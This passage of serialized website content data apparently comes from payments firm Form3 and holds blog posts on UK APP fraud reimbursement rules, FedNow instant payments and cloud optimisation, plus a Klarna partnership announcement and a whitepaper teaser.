Europe. We enthusiastically embark on this transformative journey with Form3, exploring the immense benefits it brings.” ",[],"rich_text$227a979b-ac66-4590-ad16-6e0e54ad5c51",{"variation":437,"version":438,"items":3708,"primary":3709,"id":3717,"slice_type":468,"slice_label":5},[],{"body":3710},[3711],{"type":25,"text":3712,"spans":3713},"* The European Commission (EC) published a proposal in October with the aim to require banks and other payment service providers (PSPs) to offer 24\u002F7 instant Euro payment services without charging customers an additional fee.",[3714,3716],{"start":398,"end":3715,"type":765},225,{"start":398,"end":399,"type":593},"rich_text$78a49213-3360-4fa1-84a6-680743d86c4a",{"variation":437,"version":438,"items":3719,"primary":3720,"id":3737,"slice_type":468,"slice_label":5},[],{"body":3721},[3722,3725,3733,3735],{"type":474,"text":3723,"spans":3724},"About Klarna",[],{"type":25,"text":3726,"spans":3727},"Since 2005 Klarna has been on a mission to accelerate commerce with consumer needs at the heart of it. With over 150 million global active users and 2 million transactions per day, Klarna’s fair, sustainable and AI-powered payment and shopping solutions are revolutionizing the way people shop and pay online and in-store, empowering consumers to shop smarter with greater confidence and convenience. More than 500,000 global retailers integrate Klarna’s innovative technology and marketing solutions to drive growth and loyalty, including H&M, Saks, Sephora, Macy’s, Ikea, Expedia Group, Nike and Airbnb. For more information, visit Klarna.com",[3728],{"start":3729,"end":3730,"type":489,"data":3731},634,644,{"link_type":491,"url":3732},"https:\u002F\u002Fwww.klarna.com\u002F",{"type":474,"text":475,"spans":3734},[],{"type":25,"text":716,"spans":3736},[],"rich_text$e7997ebc-17b6-488a-8ffc-c172c9696aa5","Form3 to support Klarna’s European payments","Form3, the cloud-native account-to-account platform, is delighted to announce it will be providing Klarna, the AI-powered payments network and shopping assistant, with SEPA connectivity to bolster its customer offering in Europe as part of its wider international growth strategy.",{"id":3741,"uid":3742,"type":3743,"data":3744},"alzzLhEAACkAUWLT","collaboration-across-industries-key-to-fraud-prevention","payment_insight",{"title":3745,"excerpt":3746,"card_image":3747,"published_date":3750,"reading_time":2375,"tag":3751,"dek":3752,"featured_image":3753,"about_form3":3754,"client_about_heading":5,"client_about_body":3755,"author_name":5,"author_title":5,"author_photo":3756,"author_bio":3757,"author_linkedin":3758,"slices":3759,"meta_title":3745,"meta_description":3981},"Collaboration across industries – is this the key to solving APP Fraud?","Could the solution to APP fraud lie in cross-industry collaboration? With the PSR recently revising the reimbursement policy, and much of the fraud originating on platforms such as Facebook, Instagram and WhatsApp, is it time for tech companies to play a more active role in fraud prevention, and compensation?",{"dimensions":3748,"alt":413,"copyright":5,"url":414,"id":415,"edit":3749},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-06-26","Blog","At the beginning of June 2023, the Payments Systems Regulator (PSR) published the latest update regarding the reimbursement requirements for Authorised Push Payment (APP) Fraud in the UK, through the Faster Payment Scheme.",{},[],[],{},[],{"link_type":434},[3760,3792,3812,3838,3929,3952],{"variation":437,"version":438,"items":3761,"primary":3762,"id":3791,"slice_type":468,"slice_label":5},[],{"body":3763},[3764,3767,3770,3776,3779,3782,3785,3788],{"type":988,"text":3765,"spans":3766,"direction":445},"What are the new reimbursement requirements?",[],{"type":25,"text":3768,"spans":3769,"direction":445},"By way of a quick recap, the salient points of the new requirements are as follows: ",[],{"type":1151,"text":3771,"spans":3772,"direction":445},"Customers who have been a victim of APP Fraud will be reimbursed by their Payment Service Provider (PSP), provided it is not proved that the customer has been “Grossly Negligent”. Banks are classified as Payment Service Providers ",[3773],{"start":3774,"end":3775,"type":765},180,229,{"type":1151,"text":3777,"spans":3778,"direction":445},"Customers will have to be reimbursed within 5 working days of reporting the Fraud to their PSP; subject to some situations which allow for a longer time. ",[],{"type":1151,"text":3780,"spans":3781,"direction":445},"The liability will be split 50:50 between the sending and receiving PSP. ",[],{"type":1151,"text":3783,"spans":3784,"direction":445},"Exemptions are being defined regarding Vulnerable Customers ",[],{"type":1151,"text":3786,"spans":3787,"direction":445},"PSPs are required to submit their performance regarding APP Fraud, both inbound and outbound, to the PSR for publication ",[],{"type":1151,"text":3789,"spans":3790,"direction":445},"The final points of detail, including effective date, will be open for consultation in Q3, 2023 – with a signpost for 2024 implementation. ",[],"rich_text$04ce06ff-8e57-411a-8910-162326fbfbe5",{"variation":437,"version":438,"items":3793,"primary":3794,"id":3811,"slice_type":468,"slice_label":5},[],{"body":3795},[3796,3799,3805,3808],{"type":988,"text":3797,"spans":3798,"direction":445},"How much of an issue is APP Fraud in the UK?",[],{"type":25,"text":3800,"spans":3801,"direction":445},"Based on data from the latest UK Finance Annual Fraud Report, in 2022 value of APP scams amounted to £485.2m across 207,372 cases. This figure is only what is reported, the true volume, including unreported victims of APP Fraud, will be much higher. ",[3802],{"start":3041,"end":685,"type":489,"data":3803},{"link_type":491,"url":3804,"target":493},"https:\u002F\u002Fwww.ukfinance.org.uk\u002Fsystem\u002Ffiles\u002F2023-05\u002FAnnual%20Fraud%20Report%202023_0.pdf",{"type":25,"text":3806,"spans":3807,"direction":445},"Out of the total £485.2m which was reported, £285.6m was reimbursed back to the victim – which equates to 58.8%. Recovery of these funds is notoriously low, and therefore most of this financial cost is covered by the PSP of the victim only. ",[],{"type":25,"text":3809,"spans":3810,"direction":445},"Those cases for which the PSP has not reimbursed the victim (£199.6m), under either the voluntary Contingent Reimbursement Model (CRM) or other principles, result in the victim being financially out of pocket from the Scams, as well as a host of non-financial impacts. ",[],"rich_text$d45a9290-c468-4f84-b975-6616b7616c7e",{"variation":437,"version":438,"items":3813,"primary":3814,"id":3837,"slice_type":468,"slice_label":5},[],{"body":3815},[3816,3819,3822,3825,3828,3831,3834],{"type":988,"text":3817,"spans":3818,"direction":445},"The role of technology companies in APP Fraud",[],{"type":25,"text":3820,"spans":3821,"direction":445},"In the same report from UK Finance, for the first-time, data is being published which shows the originating source of APP Fraud, as most of the fraud starts outside of the banking centre. UK Finance summarise this data with the following 2 statements: ",[],{"type":1151,"text":3823,"spans":3824,"direction":445},"78% of fraud cases originate from online sources. These cases tend to include lower-value scams such as purchase fraud and therefore account for 36% of total losses, ",[],{"type":1151,"text":3826,"spans":3827,"direction":445},"18% of fraud cases originate from telecommunications, these are usually higher value cases such as impersonation scams and so account for 44% of losses.  ",[],{"type":25,"text":3829,"spans":3830,"direction":445},"When equating this to volume of APP Fraud in 2022, 162k cases originated online equating to £175m of losses at an average case value of £1,080. By comparison, telecommunication origination cases are 37k worth £213m at an average case value of £5,719. ",[],{"type":25,"text":3832,"spans":3833,"direction":445},"However, there is currently no liability or formal obligation for technology companies to contribute to both the prevention and the financial impact associated with APP Fraud. ",[],{"type":25,"text":3835,"spans":3836,"direction":445},"But is the heat starting to build on the tech companies to play their part in addressing this ever-increasing challenge? ",[],"rich_text$4b7314d7-1b7b-4388-a5bc-934bfc4dcb2b",{"variation":437,"version":438,"items":3839,"primary":3840,"id":3928,"slice_type":468,"slice_label":5},[],{"body":3841},[3842,3845,3848,3856,3859,3862,3865,3868,3875,3878,3881,3889,3892,3895,3898,3901,3904,3907,3910,3913,3916,3919,3922,3925],{"type":988,"text":3843,"spans":3844,"direction":445},"So, what is the ask of the technology companies?",[],{"type":25,"text":3846,"spans":3847,"direction":445},"Over the last month, there has been increasing pressure on technology companies, particularly Meta (the parent company owning Facebook, Instagram, and WhatsApp) to do more to protect customers from becoming victims of Fraud.  ",[],{"type":25,"text":3849,"spans":3850,"direction":445},"TSB Chief Executive, Robin Bulloch, has written to Meta calling for them to implement tech interventions which are urgently needed to protect customers from spiralling levels of fraud. The extent of which Meta platform are a source for fraud is laid bare by the stats from TSB: ",[3851],{"start":3852,"end":3853,"type":489,"data":3854},36,55,{"link_type":491,"url":3855,"target":493},"https:\u002F\u002Fwww.tsb.co.uk\u002Fnews-releases\u002Ftsb-calls-for-meta-to-do-more-to-protect-customers-from-fraud\u002F",{"type":1151,"text":3857,"spans":3858,"direction":445},"80 percent of all purchase fraud cases, with three-fifths (60 percent) of these cases coming from Facebook Marketplace, and a further 18 per cent via Instagram. ",[],{"type":1151,"text":3860,"spans":3861,"direction":445},"86 percent of impersonation fraud, driven by a sharp increase in WhatsApp-based “friends and family fraud” which has surged by 300 percent in just a year. ",[],{"type":1151,"text":3863,"spans":3864,"direction":445},"87 percent of all investment fraud, largely driven by Instagram (59%). ",[],{"type":1151,"text":3866,"spans":3867,"direction":445},"On current industry fraud levels, banking sector projections show £250m could be lost to fraud from Meta platforms in 2023.  ",[],{"type":25,"text":3869,"spans":3870,"direction":445},"A similar message has been presented by Lloyds Banking Group, in a press release calling on Meta, and other tech companies, to do more to stop scams at source and play their part in refunding victims of fraud which originates on their platforms. The stats from Lloyds are very much aligned to those from TSB but include the scary perspective that someone in the UK falls victim to a shopping scam across Facebook (including Facebook Marketplace) and Instagram every 7 minutes. ",[3871],{"start":2397,"end":3872,"type":489,"data":3873},80,{"link_type":491,"url":3874,"target":493},"https:\u002F\u002Fwww.lloydsbankinggroup.com\u002Fassets\u002Fpdfs\u002Fmedia\u002Fpress-releases\u002F2023-press-releases\u002Flloyds-banking-group\u002F300523-two-thirds-of-online-shopping-scams-now-start-on-facebook-and-instagram.pdf",{"type":25,"text":3876,"spans":3877,"direction":445},"Liz Ziegler, Fraud Prevention Director at Lloyds, sums it up in the press release with the following statement, with a call for tech companies to not only stop the scams, but also to be financially responsible when their platform has been used to defraud a victim:",[],{"type":25,"text":3879,"spans":3880,"direction":445},"“Banks have been at the forefront of tackling the epidemic of scams, but they cannot fight it alone. It’s high time tech companies stepped up to share responsibility for protecting their own customers. This means stopping scams at source and contributing to refunds when their platforms are used to defraud innocent victims.” ",[],{"type":25,"text":3882,"spans":3883,"direction":445},"The sentiment is much wider that just TSB and Lloyds Banking Group, with the details shared by Sky News on 17th June that 9 of the largest banks in the UK (NatWest, Nationwide, Lloyds, HSBC, TSB, Barclays, Santander, Handelsbanken & Starling) had written to the Prime Minister stating that: ",[3884],{"start":3885,"end":3886,"type":489,"data":3887},95,103,{"link_type":491,"url":3888,"target":493},"https:\u002F\u002Fnews.sky.com\u002Fstory\u002Fbank-chiefs-tell-sunak-to-make-big-tech-bear-cost-of-fraud-pandemic-12904163",{"type":1151,"text":3890,"spans":3891,"direction":445},"Technology companies must contribute to the cost of an online fraud \"pandemic\" that is undermining international investor confidence in the UK economy. ",[],{"type":1151,"text":3893,"spans":3894,"direction":445},"The National Fraud Strategy, announced by the government in May 2023, was inadequate to tackle the scale of the crisis. ",[],{"type":1151,"text":3896,"spans":3897,"direction":445},"Consideration would have to be made about further action to be taken by the banks, including the slowing down of payments. ",[],{"type":1151,"text":3899,"spans":3900,"direction":445},"The transfer of voluntary measures aimed at the telecoms and tech sectors to become mandated. ",[],{"type":1151,"text":3902,"spans":3903,"direction":445},"The current target of a 10% reduction in online fraud would still leave more than 2 million customers a year suffering harm, this should be a more ambitious 25% reduction – which could be achieved with collective commitment and collaboration.  ",[],{"type":25,"text":3905,"spans":3906,"direction":445},"They have asked for 3 key actions from tech companies, but this also extends to telecommunication companies too, which are: ",[],{"type":1151,"text":3908,"spans":3909,"direction":445},"To be responsible for stopping scams at source on their platforms ",[],{"type":1151,"text":3911,"spans":3912,"direction":445},"To contribute to refunds for victims of fraud originating on their platforms ",[],{"type":1151,"text":3914,"spans":3915,"direction":445},"For a public register, similar to that which PSP’s will be a part of, showing the scale of these companies failure to prevent scams  ",[],{"type":25,"text":3917,"spans":3918,"direction":445},"There is a 4th action which I believe is critical which is the collaboration on data between all parties in the ecosystem. For instance,  ",[],{"type":1151,"text":3920,"spans":3921,"direction":445},"How could financial data and social media data be linked to utilise both data sets within intelligent intervention to help prevent fraud?  ",[],{"type":1151,"text":3923,"spans":3924,"direction":445},"The ability for real-time intelligence regarding customers call activity be available to all players directly, without the need for individual separate integrations ",[],{"type":25,"text":3926,"spans":3927,"direction":445},"The letter to the Prime Minster was also signed by Chairman and Chief Executive of UK Finance, the banking lobbying group. However, no reference is made to any involvement with the PSR in this approach to the Prime Minster.",[],"rich_text$547d4425-3067-4a3d-ae7f-e04c13b5848a",{"variation":437,"version":438,"items":3930,"primary":3931,"id":3951,"slice_type":468,"slice_label":5},[],{"body":3932},[3933,3936,3939,3942,3945,3948],{"type":988,"text":3934,"spans":3935,"direction":445},"Is Regulation the answer?",[],{"type":25,"text":3937,"spans":3938,"direction":445},"Last week, I was involved in a conference discussing the PSR recommendations, and the question was asked – “Will the changes work?”.  ",[],{"type":25,"text":3940,"spans":3941,"direction":445},"My opinion is that when regulation is forced on an industry, then what you tend to experience is an exploration of how to be compliant with the regulation, rather than ensuring that the actions taken are directly aligned to the problem that the regulation is trying to solve.  ",[],{"type":25,"text":3943,"spans":3944,"direction":445},"Closer co-operation across all industries is required to address the issues that the UK is facing regarding APP Fraud. This is not just limited to the involvement of the tech and telecoms companies, however. Banks must embrace the changes that are being mandated in the UK around sharing of data and intelligence through the appropriate channels to collaborate on the problems we are facing – for which the UK, as described by the banks, has become “a global hotspot for fraud and scams”. ",[],{"type":25,"text":3946,"spans":3947,"direction":445},"Public \u002F Private data sharing must become the norm, however, there needs to be a drive for inclusivity from relevant leadership to make this happen. ",[],{"type":25,"text":3949,"spans":3950,"direction":445},"Regulation is a strong tool to be used, but it feels that through a collective lack of movement by the associated industries, the deployment of regulation is the last resort. As an industry we must not seek to see regulation as a negative, but rather an opportunity to make a difference. We will be judged in the years ahead as to the ability of Financial Services, Tech Companies & TelCo’s in moving the dial in preventing the ever-growing issues experienced, both financial and non-financial, around fraud and scams. ",[],"rich_text$99860799-a0a5-440d-8f48-25dfc8634472",{"variation":437,"version":438,"items":3953,"primary":3954,"id":3980,"slice_type":468,"slice_label":5},[],{"body":3955},[3956,3959,3967,3974,3977],{"type":988,"text":3957,"spans":3958,"direction":445},"So what happens now….",[],{"type":25,"text":3960,"spans":3961,"direction":445},"It is imperative that there is no slowing down in the Economic Crime and Corporate Transparency Bill which is currently progressing through the House of Lords, with aggressive – but realistic – timelines agreed through the consultation to be shortly issued by the PSR. ",[3962],{"start":3963,"end":3964,"type":489,"data":3965},54,100,{"link_type":491,"url":3966,"target":493},"https:\u002F\u002Fbills.parliament.uk\u002Fbills\u002F3339",{"type":25,"text":3968,"spans":3969,"direction":445},"PSP’s need to be preparing for the forthcoming regulation changes, the inclusion of a “Failure to prevent Fraud” offence within the bill places a clear emphasis on having “reasonable fraud prevention procedures in place”.  The government has committed to publish guidance providing organisations with more information about reasonable procedures before the new offence comes into force. However, now is the time to be assessing what changes you need to make to ensure compliance with the complete requirements in the new legislation.  ",[3970],{"start":2224,"end":3971,"type":489,"data":3972},111,{"link_type":491,"url":3973,"target":493},"https:\u002F\u002Fwww.gov.uk\u002Fgovernment\u002Fpublications\u002Feconomic-crime-and-corporate-transparency-bill-2022-factsheets\u002Ffactsheet-failure-to-prevent-fraud-offence",{"type":25,"text":3975,"spans":3976,"direction":445},"The role of tech companies in the infrastructure and environment of protecting customers must follow separately, but at pace. As an industry we must build trust with our customers that they are being protected when they are a victim of a scam. ",[],{"type":25,"text":3978,"spans":3979,"direction":445},"Markets outside of the UK are observing the steps we are taking, and I fully expect similar regulatory requirements to follow in those markets. The extent to which companies within those markets embrace the principles of protecting of customers will, in my opinion, determine the extent to which aspects of regulation are enforced. ",[],"rich_text$d272edf1-37b3-441e-ad75-58c998f911bb","Explore how collaboration across industries can combat APP fraud. Learn about new reimbursement rules, the role of tech companies and potential regulatory solutions to prevent fraud and protect victims.",{"id":3983,"uid":3984,"type":3743,"data":3985},"alzzoREAAC0AUWPs","whitepaper-modernizing-payments-in-the-us",{"title":3986,"excerpt":3987,"card_image":3988,"published_date":3991,"reading_time":506,"tag":3992,"dek":5,"featured_image":3993,"about_form3":3994,"client_about_heading":5,"client_about_body":3995,"author_name":5,"author_title":5,"author_photo":3996,"author_bio":3997,"author_linkedin":3998,"slices":3999,"meta_title":4005,"meta_description":3987},"Whitepaper: Modernizing payments in the US","Payments modernization in the US is not a new phenomenon, but in today’s environment the nature of this exercise has shifted. Rather than focusing on incremental improvements, the industry is now aiming for a more fundamental transformation.",{"dimensions":3989,"alt":413,"copyright":5,"url":414,"id":415,"edit":3990},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-12-14","Whitepaper",{},[],[],{},[],{"link_type":434},[4000,4011],{"variation":437,"version":438,"items":4001,"primary":4002,"id":4010,"slice_type":468,"slice_label":5},[],{"body":4003},[4004,4007],{"type":746,"text":4005,"spans":4006,"direction":445},"Modernizing payments in the US",[],{"type":25,"text":4008,"spans":4009,"direction":445},"Fundamental changes are happening in payments for US banks right now, and how they approach that is key.Our latest report explores the ins and outs of this transformation journey, and the considerations that industry players should bear in mind when embarking on a modernization initiative. ",[],"rich_text$ac1c7993-40c3-4f99-8c91-ecd0ecd2f37f",{"variation":437,"version":527,"items":4012,"primary":4013,"id":4047,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":4014,"body":4015,"cta_label":5,"cta_link":4036,"aside_type":533,"aside_image":4037,"aside_video":4042,"aside_video_poster":4043,"aside_video_reduced_motion":4044,"aside_video_url":5,"aside_embed":4045,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":4046,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[4016,4019,4024,4028,4032],{"type":25,"text":4017,"spans":4018,"direction":445},"With insights from industry experts including:",[],{"type":1151,"text":4020,"spans":4021,"direction":445},"Bridgit (Bateman) Chayt\nSVP Head of Commercial Payments & Treasury Management, Fifth Third Bank",[4022],{"start":398,"end":4023,"type":593},23,{"type":1151,"text":4025,"spans":4026,"direction":445},"Kunal Kochhar\nGTS Head of Product Development Global Payments, Bank of America",[4027],{"start":398,"end":1951,"type":593},{"type":1151,"text":4029,"spans":4030,"direction":445},"Manish Baheti\nHead of Payments for Consumer & Small Business, Santander US",[4031],{"start":398,"end":1951,"type":593},{"type":1151,"text":4033,"spans":4034,"direction":445},"Mark Ranta\nSenior Manager, Payment Technology Transformation, Ernst & Young",[4035],{"start":398,"end":905,"type":593},{"link_type":434},{"dimensions":4038,"alt":5,"copyright":5,"url":4039,"id":4040,"edit":4041},{"width":501,"height":501},"\u002F_prismic-media\u002F795c210a6423d690-o0Ai6kq22MB83q46_62775c88-11ff-48a9-b898-8623b10.png","o0Ai6kq22MB83q46",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$79fa82c8-b546-4390-8f86-3a439cc55ee9",{"id":4049,"uid":4050,"type":3743,"data":4051},"alzzgBEAACoAUWOb","why-now-for-fednow-use-cases-for-rtp",{"title":4052,"excerpt":4053,"card_image":4054,"published_date":4057,"reading_time":5,"tag":3751,"dek":5,"featured_image":4058,"about_form3":4059,"client_about_heading":5,"client_about_body":4060,"author_name":5,"author_title":5,"author_photo":4061,"author_bio":4062,"author_linkedin":4063,"slices":4064,"meta_title":4182,"meta_description":4183},"Why Now for FedNow?","Faster payments has been around for some time globally. However, it seems to just be kicking off in the United States. Real-time payments has seen impressive growth in volumes last year. With FedNow joining the real time payments arena with its launch mid 2023, adoption across US banks is expected to increase. With the list of tangible use cases increasing, banks that aren't planning now risk being left behind and failing to meet their customers' demands for a new 24\u002F7 world.",{"dimensions":4055,"alt":413,"copyright":5,"url":414,"id":415,"edit":4056},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-03-08",{},[],[],{},[],{"link_type":434},[4065,4091,4110,4124,4146,4165],{"variation":437,"version":438,"items":4066,"primary":4067,"id":4090,"slice_type":468,"slice_label":5},[],{"body":4068},[4069,4076,4079,4087],{"type":25,"text":4070,"spans":4071},"FedNow, the Fed’s highly anticipated instant payment service, will launch between May and July of 2023. It’s set to deliver significant changes to fintech companies and new players in the payments space, opening up access to the Federal Reserve’s network of more than 9,000 financial institutions and adding another real time payment service into the mix alongside The Clearing House's RTP. FedNow’s core objective is to facilitate faster access to funds for both merchants and consumers to better manage their cash flow, at a reduced cost, and lower payment risk.",[4072],{"start":1406,"end":4073,"type":489,"data":4074},102,{"link_type":491,"url":4075},"https:\u002F\u002Fwww.federalreserve.gov\u002Fpaymentsystems\u002Ffednow_about.htm",{"type":25,"text":4077,"spans":4078},"This presents a massive opportunity for banks and financial institutions all over the country to bring their customer proposition up to speed with the other digital services people use daily. Today, consumers can instantly stream movies, get same-day delivery through Amazon, and even get groceries delivered within an hour. However, that’s not the case for getting your paycheck. With the exception of peer-to-peer services like Zelle or Venmo, most payments (like paychecks) take several days to be processed, which can be very frustrating. Being able to make and receive payments instantly has real customer appeal and with high adoption rates expected, any bank that doesn’t sign up to FedNow risks being left behind.",[],{"type":25,"text":4080,"spans":4081},"Another significant driver for adoption should be the fact that the Treasury will be using FedNow to make all kinds of payments, potentially including things like social security, assistance and tax credits. If banks can’t receive these payments, then they are going to have some seriously unhappy customers. ",[4082],{"start":4083,"end":4084,"type":489,"data":4085},64,97,{"link_type":491,"url":4086},"https:\u002F\u002Fexplore.fednow.org\u002Fexplore-the-city?id=3&building=news-center&postId=12&postTitle=new-participants-named-to-fednow-pilot-program",{"type":25,"text":4088,"spans":4089},"However, getting on board with FedNow isn’t just a case of signing a contract and adhering to a new ISO specification; there’s a lot of hard work that will be required. Issues around upgrading infrastructure, processing, reconciliation and more will cause a few headaches for banks. But before you reach for the Tylenol, we’re here to offer some relief. ",[],"rich_text$d02f6042-7d2a-4707-8121-3a08b06191ff",{"variation":437,"version":438,"items":4092,"primary":4093,"id":4109,"slice_type":468,"slice_label":5},[],{"body":4094},[4095,4098,4101],{"type":988,"text":4096,"spans":4097,"direction":445},"Make mine a double",[],{"type":25,"text":4099,"spans":4100,"direction":445},"When FedNow launches there will be two real time payment rails available to US financial institutions, vastly widening access to real time payments across the country. Just like every other payment scheme in the US – FedACH and EPN for ACH transactions, Fedwire and CHIPS for interbank transactions, for example – FedNow will have its pair in TCH’s RTP.",[],{"type":25,"text":4102,"spans":4103,"direction":445},"And a great deal of credit should be given to RTP, if you’ll pardon the pun. RTP set the US on the path to a real time future, and five years on is dealing with some serious volumes: 49 million transactions worth $22.7bn in Q4 2022. But FedNow will move us to the next level, with its connections to 9,000 plus institutions bound to significantly increase adoption of real time payments. ",[4104],{"start":4105,"end":4106,"type":489,"data":4107},131,144,{"link_type":491,"url":4108,"target":493},"https:\u002F\u002Fwww.theclearinghouse.org\u002Fpayment-systems\u002Frtp","rich_text$b9d7de54-7e46-485c-84c4-89d52b71c38e",{"variation":437,"version":438,"items":4111,"primary":4112,"id":4123,"slice_type":468,"slice_label":5},[],{"body":4113},[4114,4117,4120],{"type":988,"text":4115,"spans":4116,"direction":445},"FedNow is the future – and the future is now",[],{"type":25,"text":4118,"spans":4119,"direction":445},"Even if adoption is initially slow, ultimately FedNow will help drive the real time payment ecosystem in the US to become more resilient, competitive, and fair for all. As it evolves, so will banks, financial institutions and fintechs as they adapt to the possibilities that FedNow's wide-reaching access and connections present. Mobile front end providers, payroll providers, bill pay providers and so on will create more solutions for FedNow – enabling more use cases, which will lead to an increase in uptake.",[],{"type":25,"text":4121,"spans":4122,"direction":445},"FedNow is built for the future. It's built for 24\u002F7, and it's built for high volumes. New solutions designed to run on the FedNow rails will be built the same way. It will also force traditional institutions to change; we may even see some household names disappear over the next 10 years if they can't adapt to it. Banks trying to build on their legacy infrastructure won't be able to survive in a FedNow world, where cloud solutions, APIs and microservices power high performance, high availability, always-on payment services. ",[],"rich_text$7a6cca65-7f81-40a1-a5fe-62dfc35ed93c",{"variation":437,"version":438,"items":4125,"primary":4126,"id":4145,"slice_type":468,"slice_label":5},[],{"body":4127},[4128,4131,4134,4137],{"type":988,"text":4129,"spans":4130,"direction":445},"Will FedNow make other payment rails a thing of the past?",[],{"type":25,"text":4132,"spans":4133,"direction":445},"Just like ACH didn’t drive the check into extinction, FedNow isn’t intended as a like-for-like replacement for ACH or Fedwire, or any other payment rail for that matter. FedNow bears a passing resemblance to Fedwire, as it’s a real time, irrevocable credit push system; it also has some similarities to ACH as it’s focused on retail payments, peer-to-peer payments, and other lower value payments. It’s been referred to as the Frankenstein baby of Fedwire and ACH. But FedNow is no monster! Within a few years many – if not most – US banks will be using it, which will cause seismic changes in the payments landscape.   ",[],{"type":25,"text":4135,"spans":4136,"direction":445},"FedNow isn’t going to cover all bases – there are many specific use cases where it doesn’t make sense to switch from ACH or Fedwire to FedNow. However, it will provide additional options. For example, employers could offer their employees the choice of sticking with their current two-week pay cycle via ACH or getting paid at the end of every day through FedNow. With increased payment limits, house buyers could make a down payment through FedNow rather than Fedwire or a cashier’s check. Some institutions might consider making the change; others might not. ",[],{"type":25,"text":4138,"spans":4139,"direction":445},"To see high volumes of real time payments in the US we first require high levels of adoption. While TCH RTP is accessible to financial institutions that hold 75% of US demand deposit accounts (DDAs), and reaches 61% of US DDAs, without getting the remaining banks and accounts onto a real-time system we won't ever hit the heights of the UK's Faster Payments network, for example. But given a little time, FedNow can address this issue. The Fed already has the connectivity, and with high levels of adoption it won’t be too long before the US has a faster payment infrastructure that reaches ubiquity. ",[4140],{"start":4141,"end":4142,"type":489,"data":4143},158,226,{"link_type":491,"url":4144,"target":493},"https:\u002F\u002Fwww.theclearinghouse.org\u002Fpayment-systems\u002Frtp\u002Finstitution","rich_text$ed81fd00-af18-4d78-978a-3bab92cb1227",{"variation":437,"version":438,"items":4147,"primary":4148,"id":4164,"slice_type":468,"slice_label":5},[],{"body":4149},[4150,4153,4156,4161],{"type":988,"text":4151,"spans":4152,"direction":445},"Why is now the time for FedNow?",[],{"type":25,"text":4154,"spans":4155,"direction":445},"There will need to be some catalysts to persuade all banks to make the necessary investment to get onto FedNow. They may be waiting to see what others do, so it may be the innovators and early adopters that drive FedNow along. What's important, though, is that financial institutions that do want to be involved don't simply opt for the easiest solution that meets the minimum requirements. They need to build for the future when they are going to have to handle high volumes of real time payments. ",[],{"type":25,"text":4157,"spans":4158,"direction":445},"As previously mentioned, the fact that the Treasury is going to be using FedNow should have put US banks on high alert. Greater education about FedNow is needed, so industry-wide efforts such as the Faster Payment Council are invaluable. Everyone needs to be clear about the potential FedNow has to improve revenues and the customer experience, but also just how much investment it will require. ",[4159],{"start":1066,"end":3084,"type":489,"data":4160},{"link_type":491,"url":4086,"target":493},{"type":25,"text":4162,"spans":4163,"direction":445},"However – banks can’t wait.  It’s not just as simple as making the connection to this new payment rail and following an ISO specification – it’s about how banks operate around FedNow, how they do their end of day processing around it, how they reconcile around it. This is not a mere upgrade; it’s a brand-new type of payment, and it will take time. To reap the benefits of real time payments, they must be ready for FedNow now.",[],"rich_text$be5fd930-6375-4f89-bde4-b7a60ab92d70",{"variation":437,"version":438,"items":4166,"primary":4167,"id":4181,"slice_type":468,"slice_label":5},[],{"body":4168},[4169,4172],{"type":988,"text":4170,"spans":4171,"direction":445},"Join the discussion",[],{"type":25,"text":4173,"spans":4174,"direction":445},"For further insight and discussion of these and other issues surrounding FedNow, watch our Why Now for FedNow? webinar.",[4175,4177],{"start":1408,"end":4176,"type":765},110,{"start":1408,"end":4178,"type":489,"data":4179},119,{"link_type":491,"url":4180,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fgated-content-why-now-for-fednow","rich_text$237d804f-b266-471e-994b-93c54c66ac42","Why FedNow is the future of real time payments","FedNow, the Fed's highly anticipated instant payments service is set to transform the payments industry. Join our webinar to discover the strategies and use cases this new payment rail will bring.",{"id":4185,"uid":4186,"type":3743,"data":4187},"alzzdxEAACwAUWOC","cloud-optimisation-success-8-steps",{"title":4188,"excerpt":4189,"card_image":4190,"published_date":4193,"reading_time":418,"tag":3751,"dek":4189,"featured_image":4194,"about_form3":4202,"client_about_heading":5,"client_about_body":4203,"author_name":5,"author_title":5,"author_photo":4204,"author_bio":4205,"author_linkedin":4206,"slices":4207,"meta_title":4451,"meta_description":4452},"8 Steps to Achieve Success with Cloud Optimisation","Discover the top 8 essential steps to achieve success with cloud optimisation, from owning your transformation to establishing a modern culture. Learn how to maximise the value of your cloud investments and drive digital transformation in your organisation.",{"dimensions":4191,"alt":413,"copyright":5,"url":414,"id":415,"edit":4192},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-03-24",{"dimensions":4195,"alt":4198,"copyright":5,"url":4199,"id":4200,"edit":4201},{"width":4196,"height":4197},2299,1147,"statistic showing the motivations of banks who move to multi-cloud. ","\u002F_prismic-media\u002F04bf80457300c6cf-EjSF-zhdxSsVbgye_9fd11382-3c38-4c85-a833-bff76bc.png","EjSF-zhdxSsVbgye",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[4208,4223,4252,4284,4310,4336,4362,4388,4414,4440],{"variation":437,"version":438,"items":4209,"primary":4210,"id":4222,"slice_type":468,"slice_label":5},[],{"body":4211},[4212,4215],{"type":988,"text":4213,"spans":4214,"direction":445},"Maximising Your Cloud Migration",[],{"type":25,"text":4216,"spans":4217,"direction":445},"This year's Financial Cloud Summit 2023 was hosted earlier this month in London. As leaders within the industry took to the stage to discuss the ways in which cloud is being utilised in the financial services, it was still a question to many as to why many are still hesitant to migrate their core business-critical workloads in payments, clearing and settlement to the cloud. With frameworks being proposed as to how to make cloud optimisation work, we at Form3 have put together our own take on how financial institutions can maximise the value of your cloud investments and drive your organisation towards digital 